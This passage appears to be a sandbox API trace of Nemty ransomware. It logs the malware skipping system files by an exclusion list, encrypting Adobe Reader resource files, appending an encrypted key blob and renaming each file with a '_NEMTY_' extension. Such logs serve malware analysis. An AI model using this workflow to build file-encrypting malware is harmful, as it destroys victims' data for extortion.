lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.047] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.047] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.047] Sleep (dwMilliseconds=0x5) [0217.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35035f10, dwHighDateTime=0x1d561e8)) [0217.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x35035f10, dwHighDateTime=0x1d561e8)) [0217.056] GetLastError () returned 0x0 [0217.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.056] GetLastError () returned 0x0 [0217.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.056] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.056] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.057] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.057] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="b0fom1iDbT0lMyaU59c3AcQ4NbQPVgx8xstCxLSzh7aZNTDwfjkDmgo7nohsltjb\r\nW+lvqtCvrRQ5p0U8krBnGXhh4o6GnZo2+tl/FfmFou5iO/Qiy6qVEDj48k4yJQD7\r\nJsHj0SICpzD+5IDAebm9Al+SMW8k70lNknN/nizo08RBsfDqSLVlxmiPEgtjUZNQ\r\nIjNYNtfhHHW4XphhphApZxIJ4n6MCrKF96BaQpFn+LyW4JOYXC6WVaLD9hBD1G3Y\r\ns3fKykgYIeBkwsgU4bTspTqAuKL5KAqZ84lf96Wm1/bSy6IGNq8NAGr+R9tYBvWa\r\nfptLtzm8o6zXFQdujojGWw==\r\n", pcchString=0x653df5c) returned 1 [0217.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.057] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.057] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=9216) returned 1 [0217.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2400) returned 0x6354c48 [0217.057] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.057] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x2400, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x2400, lpOverlapped=0x0) returned 1 [0217.060] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.060] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x2400, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x2400, lpOverlapped=0x0) returned 1 [0217.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.060] SetFilePointer (in: hFile=0x320, lDistanceToMove=9216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2400 [0217.060] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.060] CloseHandle (hObject=0x320) returned 1 [0217.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.060] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.060] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c60 | out: hHeap=0x4f90000) returned 1 [0217.060] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.060] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl.hyp._nemty_kgobjgd_")) returned 1 [0217.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.061] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.061] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4589f, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="ctl28.hsp", cAlternateFileName="")) returned 1 [0217.061] lstrcmpiW (lpString1="ctl28.hsp", lpString2=".") returned 1 [0217.061] lstrcmpiW (lpString1="ctl28.hsp", lpString2="..") returned 1 [0217.061] lstrcmpiW (lpString1="ctl28.hsp", lpString2="...") returned 1 [0217.061] lstrcmpiW (lpString1="ctl28.hsp", lpString2="windows") returned -1 [0217.061] lstrcmpiW (lpString1="ctl28.hsp", lpString2="$RECYCLE.BIN") returned 1 [0217.061] lstrcmpiW (lpString1="ctl28.hsp", lpString2="rsa") returned -1 [0217.061] lstrcmpiW (lpString1="ctl28.hsp", lpString2="NTDETECT.COM") returned -1 [0217.061] lstrcmpiW (lpString1="ctl28.hsp", lpString2="ntldr") returned -1 [0217.061] lstrcmpiW (lpString1="ctl28.hsp", lpString2="MSDOS.SYS") returned -1 [0217.061] lstrcmpiW (lpString1="ctl28.hsp", lpString2="IO.SYS") returned -1 [0217.061] lstrcmpiW (lpString1="ctl28.hsp", lpString2="boot.ini") returned 1 [0217.062] lstrcmpiW (lpString1="ctl28.hsp", lpString2="boot.ini") returned 1 [0217.062] lstrcmpiW (lpString1="ctl28.hsp", lpString2="AUTOEXEC.BAT") returned 1 [0217.062] lstrcmpiW (lpString1="ctl28.hsp", lpString2="ntuser.dat") returned -1 [0217.062] lstrcmpiW (lpString1="ctl28.hsp", lpString2="desktop.ini") returned -1 [0217.062] lstrcmpiW (lpString1="ctl28.hsp", lpString2="CONFIG.SYS") returned 1 [0217.062] lstrcmpiW (lpString1="ctl28.hsp", lpString2="RECYCLER") returned -1 [0217.062] lstrcmpiW (lpString1="ctl28.hsp", lpString2="BOOTSECT.BAK") returned 1 [0217.062] lstrcmpiW (lpString1="ctl28.hsp", lpString2="bootmgr") returned 1 [0217.062] lstrcmpiW (lpString1="ctl28.hsp", lpString2="programdata") returned -1 [0217.062] lstrcmpiW (lpString1="ctl28.hsp", lpString2="appdata") returned 1 [0217.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl28.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl28.hsp", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl28.hsp", lpUsedDefaultChar=0x0) returned 9 [0217.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl28.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl28.hsp", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl28.hsp", lpUsedDefaultChar=0x0) returned 9 [0217.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl28.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl28.hsp", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl28.hsp", lpUsedDefaultChar=0x0) returned 9 [0217.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl28.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0217.062] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ctl28.hsp", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctl28.hsp", lpUsedDefaultChar=0x0) returned 9 [0217.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352c60 [0217.062] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.062] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.062] Sleep (dwMilliseconds=0x5) [0217.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3505c070, dwHighDateTime=0x1d561e8)) [0217.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3505c070, dwHighDateTime=0x1d561e8)) [0217.074] GetLastError () returned 0x0 [0217.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.074] GetLastError () returned 0x0 [0217.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.074] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.074] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.074] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.074] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="UPmdS6u+AdChkXzzSofMD48zi2TzVX8Cge5QNHZgHZD7nABiOLppvjONDhnk50xD\r\nB99MsODF3N7uftlxzpT/D+8MlO/uiAGhEwkwu3DtXzft+yIkMiO+pf8bl8vEHi2N\r\nMWBTw4zK5Z117fW3G/FCKpabSpcNVtfNBSKmwGiXRsBoDv2zGh/Ku2AGJaEqSR40\r\nBNopjLZRHykQJB+BKvkzEAktn1S3CNhJp5n0T5Meo+5OgMBSAxUqFE0BPxtX5GJw\r\nVtjkGxDlZ31fg0vFAkdtClzn465asLFpzIuSsOreTOF3YEIxcvW06lZE+2JBHQ6A\r\nvm/f9NznIFGAD+Q69n3Euw==\r\n", pcchString=0x653df5c) returned 1 [0217.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.074] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0217.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.074] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.074] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl28.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl28.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.075] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=284831) returned 1 [0217.075] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6354c48 [0217.075] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.075] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x19000, lpOverlapped=0x0) returned 1 [0217.084] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.084] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x19000, lpOverlapped=0x0) returned 1 [0217.085] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.085] SetFilePointer (in: hFile=0x320, lDistanceToMove=284831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4589f [0217.085] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.086] CloseHandle (hObject=0x320) returned 1 [0217.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352e10 [0217.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.086] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352ee8 [0217.086] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6343fe8 [0217.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352ee8 | out: hHeap=0x4f90000) returned 1 [0217.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.086] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl28.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl28.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ctl28.hsp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ctl28.hsp._nemty_kgobjgd_")) returned 1 [0217.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352e10 | out: hHeap=0x4f90000) returned 1 [0217.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0217.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.087] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e3eea60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7fff, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="ctl32.clx", cAlternateFileName="")) returned 1 [0217.087] lstrcmpiW (lpString1="ctl32.clx", lpString2=".") returned 1 [0217.087] lstrcmpiW (lpString1="ctl32.clx", lpString2="..") returned 1 [0217.087] lstrcmpiW (lpString1="ctl32.clx", lpString2="...") returned 1 [0217.087] lstrcmpiW (lpString1="ctl32.clx", lpString2="windows") returned -1 [0217.087] lstrcmpiW (lpString1="ctl32.clx", lpString2="$RECYCLE.BIN") returned 1 [0217.087] lstrcmpiW (lpString1="ctl32.clx", lpString2="rsa") returned -1 [0217.087] lstrcmpiW (lpString1="ctl32.clx", lpString2="NTDETECT.COM") returned -1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="ntldr") returned -1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="MSDOS.SYS") returned -1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="IO.SYS") returned -1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="boot.ini") returned 1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="boot.ini") returned 1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="AUTOEXEC.BAT") returned 1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="ntuser.dat") returned -1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="desktop.ini") returned -1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="CONFIG.SYS") returned 1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="RECYCLER") returned -1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="BOOTSECT.BAK") returned 1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="bootmgr") returned 1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="programdata") returned -1 [0217.088] lstrcmpiW (lpString1="ctl32.clx", lpString2="appdata") returned 1 [0217.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 